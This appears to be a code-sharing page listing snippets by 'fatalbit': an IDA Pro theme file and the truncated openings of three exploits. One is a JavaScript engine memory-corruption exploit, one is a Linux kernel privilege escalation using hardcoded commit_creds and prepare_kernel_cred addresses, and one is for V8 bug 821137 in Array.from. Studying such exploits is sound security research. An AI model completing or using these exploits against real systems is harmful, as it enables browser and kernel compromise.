fatalbit

/* INSTALL: 
 *
 * Put this file under the respective directory.
 * Windows: %APPDATA%\Hex-Rays\IDA Pro\themes\monokai\theme.css
 * Linux & MacOS: ~/.idapro/themes/monokai/theme.css
 *
 * In Options -> Colors change theme to monokai
 *
 * */
@importtheme "dark";

fatalbit

load("int64.js");

function gc() {
  for (let i = 0; i < 0x10; i++)
    new ArrayBuffer(0x1000000);
}

function opt(arg) {
  /* Just find a2 and corrupt the length and exit in opt */
  let x = arguments.length;

fatalbit

#include <unistd.h>
#include <fcntl.h>
#include <stdint.h>
#include <stdlib.h>
#include <stdio.h>
#include <sys/mman.h>

int __attribute__((regparm(3))) (*commit_creds)(unsigned long cred) = 0xffffffff81063960;
unsigned long __attribute__((regparm(3))) (*prepare_kernel_cred)(unsigned long cred) = 0xffffffff81063b50;
void trap_return();

fatalbit

/* V8 Version: 6.6.346.11
 *
 * CR id: 821137
 * Bug Synopsis: 
 *  Array.From is a javascript function that creates a new array from an old
 *  one. One of the function prototypes allow a map function that can be applied
 *  to each element of the old array to create a new value for the new array.
 *
 *  This can potientally allow user code to be executed in the middle of array 
 *  iteration. The problem with how Array.From is implemented lies in the